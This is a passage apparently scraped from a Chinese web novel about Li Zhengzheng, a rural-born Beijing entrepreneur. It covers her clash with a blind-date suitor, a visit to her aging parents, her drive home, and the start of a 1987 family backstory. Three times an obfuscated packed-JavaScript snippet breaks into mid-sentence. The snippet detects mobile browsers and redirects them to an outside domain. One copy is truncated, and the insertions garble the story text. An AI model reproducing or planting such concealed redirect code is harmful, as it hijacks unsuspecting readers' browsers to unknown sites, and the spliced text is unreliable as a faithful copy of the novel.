无奈,何奇根本没听懂什么意思,他的屁股竟然还粘在凳子上,像宫女选秀的评委一样,伸着脖子点评道:“我觉得你的长相算是及格了,就是身材差了点儿,再高点儿就好了,你有一米几?到一六五吗?” 李争争看他跟看笑话一样,果然男人的自信不需要支点,长个屌就能自信爆棚,想到这儿李争争忽然被自己的想法逗笑了。 “你一米几?”相亲男油里油气地追问。 李争争克制住笑意,右腿跷到左腿上交叠,身体微微前倾,她的压人气势不自觉浮现,沉声道:“小伙子,我给你个忠告,相亲不能只看别人的身高长相,也要撒泡尿照照自己。” 何奇愣了一下,自信道:“我是男的,能跟你们女的一样吗?” 李争争深吸一口气,决定用魔法打败魔法,相亲现场干脆爆改成面试现场,既然无法接受男人的思维,那就用男人的思维打败男人吧。 李争争抱臂于胸前,礼貌微笑,眼睛沉静地看进对方眼睛里,拿出自己董事长的派头,说:“咱们别浪费时间,你做个自我介绍吧。” “啊?什么?”何奇不明所以。 “你会做饭吗?平时拖地吗?你的职业是什么?收入情况怎么样?”李争争这种高认知、高生活品质的女性,对相亲男简直就是降维打击。 “......啊?这个......那......”何奇支支吾吾。 李争争的耐心耗尽,她向来把自己的时间视若钻石珍宝,不会跟这种人浪费一分一秒,于是她说: “是这样,我喜欢简洁高效的沟通方式,我呢,在北京有房有车有工作,今年三十四岁,年薪不固定,但是每年拿出五十万养家没问题。” “我的要求呢,就是将来孩子跟我姓,毕竟子宫价值只有我有,对吧?孩子生下来以后,你要全职带,带到上初中以后你再出去找工作,哦!还有!你必须入赘到北京来跟我生活。” “我呢,喜欢吃辣,但不喜欢油辣,喜欢小米椒的清新辣,所以我每顿饭都要配蒸鱼豉油小米辣的蘸料,最好再加点麻油和苹果醋就完美了。” “跟我结婚不仅要给我做饭,还要给我的猫儿子做饭。每两天做一次,三文鱼、鸡胸肉、鸡蛋黄有严格的搭配比例,这件事不能马虎。猫砂要早晚各铲一次,不能偷懒,我的小猫有洁癖,你还得留出固定时间陪它玩耍,院子里有它的小伙伴儿,也要每天喂食喂水,打扫猫别墅。” “至于家里呢,每星期大扫除一次,每三天小扫除一次,地板要每天拖,早上八点之前必须拖完,因为我八点钟要起床。” “我想想还有什么,噢,如果能走到结婚那一步的话,我给彩礼十八万八,但是过年不能回家,我一般都要出去度假。我父母呢,都是朴实善良的老实人,你要对他们毕恭毕敬,只要你在家里,我妈就不能进厨房。” “怎么样?有什么问题吗?”李争争头脑清晰,逻辑严密,慢条斯理地说完,然后真诚地看着他,心里暗爽。 何奇被这一顿猛烈输出震慑地懵逼了,他迷茫地问:“你这是找男朋友呢?还是找男保姆呢?” “当然是找男朋友啊,男朋友又不花钱,在北京找保姆薪资很高的。”李争争一手托着下巴,琢磨一下,问:“何奇是吧?你是叫何奇吧?” “啊,对。” 李争争的视线下滑,盯在他身体某处,说:“嗯......我建议你呢,平时少吃肥肉多锻炼,减减肥,每天喝一杯牛奶,补补钙,长长个儿,你这实在是有点儿......嗯......海拔不够啊,腹肌也得好好练,回去努努力,等长到一米八八就符合我的标准了,好吧?” “......”何奇感觉自己受到了侮辱,但他没有任何证据。 李争争笑了,“你别介意啊,我说话直,一般人都不爱听实话,要不你也问问我的生活习惯?” “你有什么生活习惯?” “我呀,我又馋又懒又爱花钱,不洗不涮不会做饭,等结婚以后,咱俩就各玩儿各的,我不管你,你也别管我。”李争争冲他眨眨眼睛,内心笑得快憋不住了,面上平淡地又补上一句:“多好?我给你自由。” 本来何奇看在迈巴赫的面子上打算忍忍,现在他挠挠脑袋,破罐子破摔道:“你有什么了不起的?你不就是个破农村户口的暴发户吗?” “哟?看不起我们农村户口啊?冒昧问您一句,您哪儿的户口啊?” “我县城里的。”何奇腰杆儿挺得倍儿直,把蔑视碾在李争争脸上。 李争争瞅着他看了两秒,微笑中带着反讽,“合着您十八线小县城的户口,看不起我十八点五线农村户口?为什么会把户口出身作为衡量一个人的标准呢?是谁把人分成三六九等的?您十八线县城户口高贵,我农村户口就低你一等吗?广袤的农村土地不是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14458769|154194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强大祖国的领土吗?广大的农村人口不是黑眼睛黄皮肤的中国人吗?” “你说你有什么可骄傲的?啊?是!你们家是做房地产的,隆阳地产是吧?你们家哪栋楼不是农民工一层一层盖起来的?” 李争争眼神犀利且坚定,仿佛能洞察一切虚妄,她铿锵有力地继续说:“他们出身乡野,默默无闻,密密麻麻的旧账本上写满了每天的工,然后一年一年地跟你们讨薪。他们磨的手上都是糨子,全身上下都是铁锈和水泥,他们呼吸尘土,把汗水和力气都卖给建筑,可你们作为开发商回报给他们的是什么?” 何奇哑口无言,他望着李争争深邃坚毅的眸子,竟然无形中感到震撼,他不敢直视那目光。 “啊?我问问你,回报给他们的是什么?是一年都结不了一次的工资吗?是没有劳动合同,没有医保养老吗?还是作为高危职业,从来都不给他们上人身保险?定水县最高楼是你们家的吧?没记错的话是二十八层,你们给上去作业的农民工买过人身保险吗?” “你们从来都没有设身处地去保障为你们劳动的人,不给农民工上保险,不在乎他们的健康,因为对于你们来说他们可以是一次性消耗品,工地上到处是污染,粉尘污染、化学污染、噪音污染、暴晒光污染......忍受了所有钱还发不到手上,甚至连安全帽都是最劣质的,你们良心能安吗?”李争争冷笑着,她切肤之痛地感受过父亲的绝望,她近乎控诉,停不下来。 何奇的眼神闪躲,而后扬起脸反驳,“那不是我们集团的事,是建筑公司的责任。” “是啊,你们擅长多层承包啊,好让责任混乱嘛!等楼盖起来以后,你们又狗狗碎碎地制造各种焦虑,把吃人的镰刀再次伸向农民工的子女,你们这些趴在农民工身上吸血的蜱虫,怎么?我们农民工支撑了你们,你们还瞧不起我们呀?” “呵!真棒,我是不是该给你们鼓鼓掌啊?”李争争冷冷笑着。 何奇站起来,脸都气绿了,他莫名其妙被怼,怒道:“你有病吧?你算干什么的?也敢瞎说我们家公司的事儿?” 李争争也站起身,从容淡定地说:“以前,我还真不知道自己适合干什么,现在我知道了,我觉得我还挺适合当老板的,至少比你们有良心。” “你拽什么呀拽?比我大六岁,一大把年纪了,还觉得自己挺牛逼呢?”何奇明显急眼了,只能拿出年纪攻击李争争。 李争争觉得他的无能狂怒太搞笑了,真有意思,她目光如炬,岿然不动,一字一句说道:“我又美又有钱,我靠自己的本事在商业丛林里厮杀,怎么了?我的目光望出去,看到的是劳苦,滋生的是悲悯,我比你高贵,不可以拽一点吗?” 你争争这个人呐,伶牙俐齿又霸道强势,往那儿一站,从里到外,从上到下,从身体到精神都散发着反抗的光环,没有任何人、任何言语能左右她的思想与选择。 她也从来不把自己局限在结不结婚这种小事儿上,她要做的是拼了命在自己的领域向上攀爬。在她的眼里,没有雌竞,也没有雄竞,有的只是有效竞争。 她向上走的每一步都是厮杀,她深知世界的残酷,深知无钱无权、任人拿捏的痛苦。她必须掌握更多的金钱与权力,然后在自己可控的范围内实现公平与正义。 李争争是一个正直勇敢的人。 5. 顶门立户 何奇开门从东屋里出来,忿忿地问媒人,“表姨,走不走?” 李争争悠悠然从里屋走出来,看见父亲李武拄着拐杖立在屋子正中,父亲总是那几件衣服来回穿,今天却换了身新衣服,他满头白发,身子很瘦,枯瘦的背影令李争争顿了一下,继而缓过神来笑着说:“爸爸,回来了。” “啊,回来了。”李武就着拐杖弯腰给她拿放在茶几上的驴肉火烧,“快来吃,刚出锅的。” “怎么样啊?你们俩聊的?”媒人和姑姑一前一后问。 “你们问他吧。”李争争看见驴肉火烧两眼放光,转身去洗手间洗手去了。 “不怎么样!赶紧走吧。”何奇对媒人说。 “第一面聊不到一块儿去很正常,要不你们俩加个微信?”媒人建议道。 李争争从洗手间里探出脑袋,“不用了,没必要。” 媒人听李争争拒绝得如此干脆,心生疑问,见何奇扭头走,便跟了出去,姑姑和妈妈把他们礼貌地送出门。 屋子里只剩下李争争和父亲,李争争坐在沙发上吃驴肉火烧,一边吃一边夸,“爸,真香,我早就想吃这口儿了。” “想吃了就回来,那还不好说?”父亲看着女儿大口大口地吃,心里甜滋滋的。 “爸,你别老站着啊,坐轮椅上。”李争争鼓嘟嘟着嘴巴说。 父亲扶着轮椅,把单拐靠在墙边儿,慢慢坐好,慈祥地问:“最近怎么样啊?工作还那么忙啊?” “嗯,最近忙秋冬上新,一直在加班,等开工后又得准备双十一,忙啊,快忙死了。”李争争感叹道,她忽一抬头,望见父亲刀刻般的皱纹和布满红血丝的眼睛,心中五味杂陈,酸软一片。 “再忙也要照顾好身体,别太累了,累坏了怎么办呀?”父亲叮嘱道。 “知道了爸,我公司有员工,执行的工作都交给他们做,我就是把控一下大方向,别操心爸,我好着呢。”李争争总是报百分之百的喜,报百分之零点一的忧。 因为她的忧只能自己解决,说多了倒让家里人担心,还解决不了问题。 其实,李争争和父亲母亲的关系非常微妙,她对他们亲密又疏离。 她很爱他们,但并不想见他们。所以她不经常回来,北京离家连一百公里都不到,她一年也就回来个三四次,哪怕过年也只是呆上两天就走了。 亲情总是剪不断,理还乱,复杂得很。 他们既伤人,又爱人;好的不纯粹,坏的不彻底;既无法割舍,又无法指责。 他们之间有着解不开的心结,那是李争争一辈子都无法弥补的遗憾,她到现在都想不通爷爷奶奶、爸爸妈妈加起来超过两百岁的人,当初怎么能那样欺负一个不满十六岁的小女孩儿呢? 可如今,她每每见到父母,又忍不住心疼他们年老体衰,一生劳苦。 妈妈和姑姑一齐从外面进来,姑姑嘴里嘀咕着什么,一进门,不悦道:“争争啊,你这孩子怎么回事儿?好不容易给你介绍个对象,你怎么能那么怼人家呢?” “哟?一个大男人还给你们告状呢?”李争争已经在吃第二个驴肉火烧了,家乡的驴肉火烧可太好吃了。火烧是圆的,用烤炉烤得外酥里嫩、焦香弹牙,带着饼香的热气配上驴肉的糯软鲜香,大口地咬上一口,简直赛神仙。 李争争虽然看着瘦,实际上特别能吃。好好吃饭才能浑身有力,才能好好做生意,别看进嘴的是碳水,进口袋的可是真金白银。 “怎么着啊?真没戏啊?别错过了,人家条件那么好。”姑姑劝道。 “姑,能别提了吗?就当这事儿没发生过,你看他那张脸,长得跟电视机一样方,小虾米眼儿,厚嘴唇,黑炭脸,你们真觉得我只配这样的啊?别太侮辱我了。”李争争半开玩笑,半认真,带着隐隐的怒火,她的心里像是堵了一团潮湿的棉花,又湿又沉,烦闷得不行。 她本来想,就回来半天,控制住脾气,可姑姑一再说她,就跟缅北逼单房逼单似的,不怒都对不起姑姑说那么多话。 姑姑也生气,李争争不好好相亲,让她把小领导都给得罪了,她继续指责,“我看你就是在外面野惯了,将来这还结得了婚吗?还能踏实过日子吗你?别天天痴心妄想地当什么女老板,赶紧先把自己的终身大事解决一下吧,要不然都当不上妈了。” 父亲总是木纳而寡语,女人之间叽里呱啦说个没完没了时,他总是沉默不语,所以他也从来没有在言语上维护过孩子们。 “啊?你们着急让我结婚生孩子,想让我重复你们的命运吗?”李争争猝不及防地笑了,她把第二个驴肉火烧下肚,倾身抽了张湿巾出来,慢悠悠地擦拭手上的油,带点阴阳怪气,又带点正经地问:“姑姑,你知道人最重要的是什么吗?” 说完,她觉得自己的提问太过笼统,补充道:“或者说,你知道作为我这样一个人,最重要的是什么?” “是什么?”姑姑问。 “就是痴心妄想啊。”李争争起身扔掉湿巾,继续笑着说:“我是一个人,我努力赚钱让自己和家人过更好的生活,有什么问题吗?我把所有的痴心妄想都寄托自己身上,而我知道我自己是可控的,多好?还有,不要计算我的生育价值,当不当妈是我的自由,哪天我要是当妈了,也是因为我自己想体验抚育新生命的快乐,绝不是因为我和哪个男人结婚了,该生孩子了。” “天天一堆歪理邪说,脑子都在外边儿呆坏了,现在不是怕你挡了希希和天赐的桃花儿吗?你在前头摆一道,人家希希怎么结?她当老师的最好嫁了;天赐要是带女朋友回来,订婚还是不订婚?” “希希当老师是教书育人,答疑解惑的,不是为了好嫁的。”李争争忍无可忍,姑姑的话实在是影响到她世界的清静,她不再克制情绪,站起身,强势回怼道,“再说了,为什么他们结不结婚,要我来背负?老二已经结婚了,他们都可以像老二一样结婚啊,怎么了?差了什么,还是少了什么?为什么非得绑架我呢?我当大姐的我有罪是吧?我不结婚碍着你们事儿了是吧?” “哎呀,行了行了,别说了,你姑姑也是为了你好。”妈妈打岔道。 “你当大姐的,你就是不带好头儿,不给弟弟妹妹们做好的榜样。”姑姑指责道。 “姑,是这样,咱们对于榜样的定议不一样,我认为一个人生活在这个地球上,能自己挣钱养活自己,实现自己的价值最重要。” 姑姑李超说不过她,自己嘟囔道:“在北京呆傻了,真是在北京呆傻了......” “姑姑。”李争争叫应她,愤怒中夹杂着同情,说:“睁开眼看看吧,这是个新世界了。” 说完,她冲妈妈说道:“妈,先把户口本找出来给我。” 妈妈问:“你还没说呢,你要户口本干什么呀?” “要跟外面的人偷偷领证呀?”姑姑说着风凉话。 李争争冷笑一下,说:“姑,我迁户口,从今以后我自己顶门立户,我的户主是我自己了。” “迁......迁户口?迁哪儿去?”爸爸着急地问。 李争争伸手扶住爸爸的胳膊,蹲在他身边,说:“迁去北京,我现在够资格落户了。” 妈妈王惠进里屋拿了户口本出来,交到她手上,问:““你又买房了?” 李争争捏住户口本,说:“不,是别墅。” “别墅啊?”姑姑看着她,眼睛里流露出难以名状的神色。 “姑,别惊讶,没什么。”李争争云淡风清地说,而后她拿起车钥匙,对父母说:“我去前院儿看看郭奶奶,你们聊着。” 郭奶奶人很好,从小看着李争争长大,小时候家里没人,李争争总是带着妹妹去郭奶奶家蹭饭,还在人家写作业、看电视,有时候衣服脏了,郭奶奶还给她们洗衣服,送她们上学,连她最喜欢的剪窗花儿都是跟郭奶奶学的。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14458770|154194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李争争从后备箱里搬了几箱营养品到郭奶奶家,她从来不认生,到郭奶奶家就静下心来陪老太太呆会儿,帮她调调电视机的台,设置一下老人机的铃声,连郭奶奶的助听器都是李争争给配的。 李争争从郭奶奶家回来时,姑姑已经离开了,妈妈正在拌饺子馅儿,见她回来,问:“拿的什么呀?大袋小袋的。” “郭奶奶煮的花生,还有冬枣儿,小时候种的那棵枣树还挺能结果儿。”她把手里的东西轻轻放在茶几上,“还有柴鸡蛋,郭奶奶自己养的鸡下的,给我拿了好多,也不知这老太太去哪儿买的鸡蛋收纳盒儿。” 妈妈笑了笑,说:“她从咱们家拿走的,特喜欢,说有了这盒子就能给你攒鸡蛋了,这老太太呀,自己都舍不得吃。”妈妈说。 “我就说少拿点儿,她全装给我了。”李争争哭笑不得。 “没事儿,给你就拿着,老太太打小儿就疼你。”妈妈端起拌好的饺子馅儿往厨房走,问她:“咱们今天晚上早点儿吃饭,吃完你再走吧?” 李争争扶着妈妈的肩膀,说:“嗯,吃完再走,要不我大老远儿折腾一趟太亏了?早就馋饺子了,妈,你拌好馅儿,我跟你一起包。” “那么多年了,你还会包饺子吗?” “开什么国际玩笑?我那是童子功。”是啊,那是李争争的童子功,她从七岁起开始照顾弟妹,洗衣做饭,养狗喂猪,割麦子,掰玉米,刨花生,挖红薯,种蘑菇......什么脏活累活她没干过? 就在这时,她的手机响了,拿起一看,是工作微信,她底头回复消息,父亲却好像坐立不安。 父亲从来都不知道怎么和女儿交流,他总是沉默不语的,过了良久,他问:“要看电视吗?那儿有遥控器。” “好嘞。”李争争回完信息,随手打开电视,舒服地靠坐在沙发上,“爸,你喝水吗?” “不喝,要喝我自己倒,争争啊,你给爸看看手机,爸这个手机老是解不开锁。”李武从裤子口袋里掏出手机,伸手递给李争争。 李争争接过手机,按下开关键,屏幕就亮了,“这不好好儿的吗?没问题啊。” “你给我重新录一下指纹吧,老是不好使。”李武说。 “噢,那好说,密码多少?设置一下就行。” “密码就是123456。” “行,咱们重新录一下。”李争争找到相应的设置,弯腰在李武的身边,让他按照手机提示录入指纹。 李武把大拇指在衣袖上搓了搓,然后小心翼翼地按在指纹感应区。 请重新放置手指!屏幕上显示几个大字。 李争争拿纸巾擦拭手机屏幕,说:“爸,再试一下。” 李武又搓一遍大拇指,再次按在感应区。 请重新放置手指! “爸,给我试一下。”李争争在屏幕上轻轻一按,屏幕上的指纹图样就有了显示,“为什么我可以?你是不是手指没放好?” “帮我拿张湿巾。”李武对李争争说,然后他换作食指,用湿巾擦完屏幕又擦手,再次小心地按在感应区。 请重新放置指手!还是未识别到。 “没事儿,慢慢来。”李争争这才意识到可能是父亲的指纹都磨平了,她侧脸看着手机屏幕,眼睛“唰”地一下就红了。 李武平日里都用左手解锁,因为右手拄单拐的时候多,他试完了左手,要试右手,李争争忽然打断他,哽咽道:“爸,我们不试了,我给你们买新的,咱们买脸部识别的手机。” “不用,我再试试。”李武捧着手机继续按,李争争不管不顾地抽出手机,拉起父亲的手。 父亲的手掌宽厚生硬,指尖因常年劳作而指纹残缺,每一次识别不出的指纹都是父亲锄泥搬砖的映照,李争争捧着父亲布满伤疤老茧的手,泪水不自觉就滚下来,她低下头,偷偷抹去眼泪,“爸爸,咱们不试了,这个手机不要了。” 6. 蓝调时刻 李争争回到沙发上,拿过自己的手机,打开京东APP,立刻下单了两台最新款手机,而后她点进家庭群,给三妹李希希发出视频邀请。 手机响了好久才接通,屏幕里出现一个洋气又文静的姑娘,对方说:“大姐,你回家了?” “啊,中午回来的。”李争争说。 “什么时候走?你怎么也不提前跟我说一声呢?早知道我今天就不安排班会课了。” “时间太紧了,本来只是打算回来拿个户口本就走,结果妈给包饺子,我就吃完晚饭再走。” “哎,我又见不着你了。”李希希遗憾地说。 “等你放假......哎?不对啊,现在就是十一假期啊,你们怎么不放假?” “我们今年升高三了,哪儿还有假期?我跟你说我现在连觉都不够睡,头发一把一把地掉,学校还天天给我们打鸡血,天天说冲刺冲刺冲刺!哎呀,要了命了,这一年可快点儿过吧。”李希希好不容易和大姐视频,满腹的牢骚可劲儿发。 “那句话怎么说来着?上辈子杀猪,这辈子教书;上辈子杀人,这辈子教语文。”李争争和她哈哈哈笑作一团,还像小时候一样亲昵。 “没毛病,一点儿没错,你知道我每天上课像什么吗?” “像什么?” “就像手机信号儿,我用5G库库一顿输出,有的孩子用4G接收,有的孩子用2G接收,有的孩子可就厉害了,他直接给我开飞行!开勿扰!你说我愁不愁?头发能不掉吗?” “哈哈哈哈哈哈哈,太搞笑了。”李争争被希希逗得哈哈大笑。 “你找我有事儿啊大姐?我得赶紧去备课。” “噢,我想问你明天能不能回趟家,我给爸妈一人买了个手机,你回来给他们调试调试,录一下面部ID,同步一下手机数据,我怕他们自己不会弄。” “行啊,你在网上买的?” “对,京东上买的,估计明天上午就到了。” “行,那我明天晚上回去,这事儿交给我吧。” “好嘞,那你去忙吧,赶紧去备课。” 姐妹俩挂断电话,李争争对父亲说:“爸,等等吧,明天让老三给你设置新手机,这个手机也老了,咱们不用了。” “你又乱花钱,这个手机还没坏。”父亲总是这样,不管女儿现在多有钱,他们还是舍不得多花一分,一提花钱就舍不得。 “行了,我都买了,明天用新的。” 不一会儿,妈妈端着一大盆饺子馅儿出来,对爸爸说:“老李啊,饺子皮儿交给你咯。” “好嘞。”爸爸欣然答应,他自己转动轮椅轱辘,去到厨房里擀饺子皮儿,擀好了就喊一声:“争争,来拿饺子皮儿。” “好嘞。”李争争愉快地应和着捧出一摞皮儿,她和妈妈在客厅一边看电视一边包。 接近晚饭时候,姑姑从叔叔家回来了,一家子人围坐在一起,吃了顿热腾腾的饺子。 饭桌上,姑姑再次提相亲的事儿,李争争只是打着哈哈儿蒙混过去,在自家人面前,她敛了锋芒和尖刺,不较真儿,不表态,不说难听话,当然也不说真心话。 吃过晚饭,也才下午五点钟,李争争准备离开,家里人纷纷挽留,可她的时间实在是太紧张了,解释道:“我明天还得去外地工厂,实在是没时间。” 父母的不舍写在脸上,李争争叮嘱道:“你们在家照顾好身体,什么都不用你们操心,尤其是你,爸,出来进去千万要当心,马上天气冷了,外面该结冰了,一定一定得注意安全,给你们在市里买的房你们也不住,楼下又有公园又有商场,还离医院不远,非愿意在村里住着。” “嗨,我们在村里住习惯了。”父亲说。 李争争叹了口气,十分无奈,“行吧,你身体不方便,别老出去干活儿,怎么说你都不听。” 父亲嘿嘿一笑,说:“好啦好啦,今年活路不是很好找,不去了。” 李争争知道,父亲只是嘴上说“不去了”,每次回来他们都绕不开这个话题,父亲倔,李争争也倔,她说:“我们都长大了,如果你们还那么辛苦地干,那我们长大的意义是什么呢?” “不是怕拖累你们吗?你能闯到现在不容易,我们不能给你添负担,好了,快走吧,别太晚了。”李武说。 “就听你爸的,把这盒饺子带上,放车载冰箱里,回京以后记得煮来吃啊。”王惠叮嘱道,“别老口头挂着减肥减肥的,好好吃饭,照顾好自己。” “知道了,走了。”李争争伸手要接那盒饺子,妈妈没有递到她手里,而是同她一起拎从郭奶奶家拿回来的各种吃的喝的。 妈妈给她安顿好后备箱,爸爸和姑姑也送她到门外。 李争争坐到车上,系好安全带,戴上避光墨镜,发动车子,开到门口,她将车窗降下,把墨镜搭在鼻梁上,冲窗外告别:“爸,妈,姑姑,我走了,你们回去吧。” “到家告诉我们一声儿。”妈妈叮嘱她。 “好嘞,知道了。”说完,脚踩油门,开车走了。 巷子口转弯时,李争争下意识透过后视镜回望,父亲的单拐忽然倒在地上,他颤巍巍地试图弯腰接住,可怎么都够不到。 李争争的心头忽然被针刺了一下,父亲不再挺拔,母亲容颜沧桑,而他们此刻真切的想法是如何不拖累自己。 或许,有些矛盾就是无解的,年幼的遗憾也只能随风而逝,若紧紧抓着那无法弥补的事,是不是会造成更多的遗憾呢? 而对于门口的父亲来说,这怎么够都够不到的拐杖就像女儿飞远的心,他怎么靠也靠不近,他知道女儿心怀遗憾,或者说他一直在自我怨恨。 王惠扶住他,姑姑弯腰把拐捡起来递进他手心,姑姑望着不远处的汽车尾气和飞扬的尘土,喃喃道:“完了,完了完了,这下真嫁不出去了。” —— 李争争在北京打拼整整十六年。 她从小时候捡别人不要的旧衣服到创建自己的时装品牌。 她从一袋方便面分成三顿吃,这顿泡着吃,下顿掰开干吃,最后又泡着吃,到现在可以飞去世界各地吃美食。 她从寒冬腊月盖一条薄毛毯睡在施工工地,到现在盖最好的蚕丝被,住最高端的别墅。 她从一百块钱都借不到,到负债一千三百万,再到现在坐拥上亿资产。 ...... 她就像是靠牙齿撕出血路的狮子,经历了九死一生之后,她的能力、魄力、魅力早就磨砺得远超常人。 在残酷竞争的牌桌上,她早就把一手烂牌打成王炸,可他们还是认为她需要成为某个男性的附属品。 他们还是只看到了她的性价值和生育价值。 真是割裂的幽默与荒诞。 —— 李争争很快开上了返程高速,双向八车道的高速上车辆稀疏,她将油门踩下,依次并入第二车道。 她望着前方疾速飞驰的车辆,两侧的绿树不断向后飞去,生活教会她“向前看”,可脑子总会记录一桢又一桢。 往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14458771|154194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事一幕幕,如电影一般浮现。 父亲李武高大而弯曲的背影,廉价香烟与满身石灰,他的苦与累,权衡与担当; 母亲王惠美丽而疲惫的容颜,文学杂志与灶火油烟,她的软与弱,静水与流深; 二妹王昭昭动荡而自卑的童年,寄人篱下与婚姻错付,她的冷与恨,慌乱与重生; 三妹李希希清醒而独立的思想,不被欢迎与性别诅咒,她的信与念,沉静与笃定; 四弟李天赐期待而焦灼的青春,幼年难养与敏而好学,他的思与悟,深醒与早慧; 而她李争争愤怒而不甘的烈性,一腔孤勇与屡败屡战,她的坚与韧,反抗与奋起。 这个家啊,每个人都有自己的命运,夫妻俩半生贫苦,从未认输,孩子们齐飞破笼,各自扑腾。 他们一年比一年难团圆,各自奔波,不断地聚少离多。 —— 路途疾驰过半,夜色将暗未暗。 李争争沉浸在自己的思绪中,整个世界安静极了,她的眸子凝着远方,天空尽头和前方征途竟被染成静谧的深蓝色。 听说这是“蓝调时刻”,它登场于夕阳远去,又消散于星月归来,这是一天中最美的时刻,是宇宙馈赠的短暂浪漫。 车子继续往前奔驰着,她抬手按下按钮,天窗缓缓拉开一道缝隙,清爽的风徐徐吹来,极具穿透力的音响里传来艾莉希亚的《SearsToYourBeautiful》。 【There''sahopethat''swaitingforyouinthedark】 【Youshouldknowyou''rebeautifuljustthewayyouare】 【Andyoudon''thavetochangeathing】 【Theworldcouldchangeitsheart】 【Noscarstoyourbeautiful,we''restarsandwe''rebeautiful】 ...... 神秘的蓝染得她沉静浪漫,微凉的风吹得她身心通透,振奋的歌听得她意气风发,这种感觉太美妙了。 李争争抬眸看了一眼后视镜,恍惚间看见一个人在朝自己招手,她看一眼,又看一眼,在转头看第三眼的同时,她忽然意识到一直看后视镜是很危险的,会发生交通事故的。 一味地沉湎于过去毫无意义。 李争争一瞬间大悟,心头爬上一种名叫释怀的东西,不是和解,不是原谅,而是算了,放过自己。 去他妈的过去,去他妈的遗憾,去他妈的无法弥补,谁要一直囚禁在遗憾里? 她要享受这宇宙馈赠的蓝调时刻,她要奔赴这一场盛大的约会,与天地,与凉风,与音乐,与自己。 茫茫天地间,凉风和音乐是自由的,她也是。 天幕彻底暗下来,李争争追赶着皓月与星光,笃定地望向前方,她对自己说: 李争争,继续咬紧牙关向前冲吧,为自己的人生开辟道路,用蓬勃的生命力斩杀一切。 看啊,哪怕你扎根于愚昧贫瘠、重男轻女、后天残疾、剥夺受教育权的土壤,如今不也开成了五颜六色的死不了花儿吗? 管它什么荒原废土、荆棘丛生,继续拼命汲取养分,去占领土地,去肆意盛开! 出身农村只是你的下限,而此刻绝不能成为你的上限,这下限与上限之间的距离才是你坚韧繁茂的生命历程。 7. 从头讲起 这一家人的故事还得从头讲起,家庭环境和幼时经历镌刻了他们每一个人的性格。 李争争小时候和爷爷奶奶生活过一段时间,那时候她常听奶奶和别人聊天,奶奶最爱说的一句话就是:我们家男人从来没有为讨媳妇儿发过愁。 当然,李争争的奶奶离世时享年84岁,到她神识清醒时,她都在拿这个事儿到处说嘴,不同的是当年她因为儿子而炫耀,后来因为孙子而炫耀。 可事实上,她的大孙子李光宗和二孙子李耀祖都离婚了,她的小孙子李天赐才从学校毕业,人家还没打算结婚呢。 —— 回看遥远的一九八七年,在李争争的想像里,那一年是红色的,热情洋溢的。 那年,长发微卷、高大帅气的费翔在春节联欢晚会上演唱《冬天里的一把火》,作为第一个在春晚上蹦迪的男人,他一夜爆火,迷倒众生。 那时候的人们端庄腼腆,突然看到这么一个打扮新潮、热情奔放的男人,简直惊为天人。 春晚过后,追赶潮流的女孩子们纷纷开始追星,而男孩子们都跑去烫头。一时间,爆炸头、喇叭裤纷纷出现在街头。 李争争的爷爷李同仁在山河省保阳市定水县小七河乡当乡长。他年轻时当过兵,后来因病转业回到家乡,起初在乡里当武装部长,后来升任乡长。 老李家在李争争父亲那一辈有三个儿子,一个女儿;老大李文,老二李武,老三李斌,老四李超。 李武便是李争争的父亲。 他们家三个大小伙子出落得人高马大,老李家的门槛儿都快被说媒的踩烂了。 说媒的听说李文已经定好亲事,目光便转向李武。 那时李武差两个月才满十八岁,他是1969年5月生人,和他的名字一样,李武有着一身的力气,是个尚好的劳动力。 1987年3月,天气渐渐暖和起来,黄土地开始化冻,大树开始抽芽,万物生机自此勃发。 那时,人民公社制度刚刚结束,人们再也不用去生产队挣工分,开始了承包责任制。 一天,李武正在院子里垒猪圈。 毕竟是十八岁的大小伙子,年轻气盛,身材高挑,哪怕倒春寒,他也只穿了一件单薄的白衬衫。 微风拂过,白衬衫被吹得鼓起,洗得发白的牛仔裤松松垮垮地箍在腰间,李武双手握着铁锹,用力时手背青筋暴起,两条大长腿有力地蹬下铁锹,额角微微渗出汗珠,真是个青春灿烂的花样少年。 李武留着快到肩膀的浓密长发,一边干活一边哼唱着: 你就像那一把火 熊熊火焰温暖了我 你就像那一把火 熊熊火光照亮了我 ...... “哎哟!这时间点儿了,你怎么还在锄泥搬砖啊?”一个瘦瘦的大妈跨进大铁门,她一边往里走,一边拉长嗓音夸张地问李武。 李武抬头,甩一甩自认为很帅气的长卷发,唇角上扬牵出两个深深的大酒窝,他嘚瑟地说:“我垒猪圈呢,再不垒小猪都跑出来了。” 赵梅掀开门帘从屋子里出来,手里端着盛满高粱的簸箕,她招呼道:“来了,他秦婶儿。” 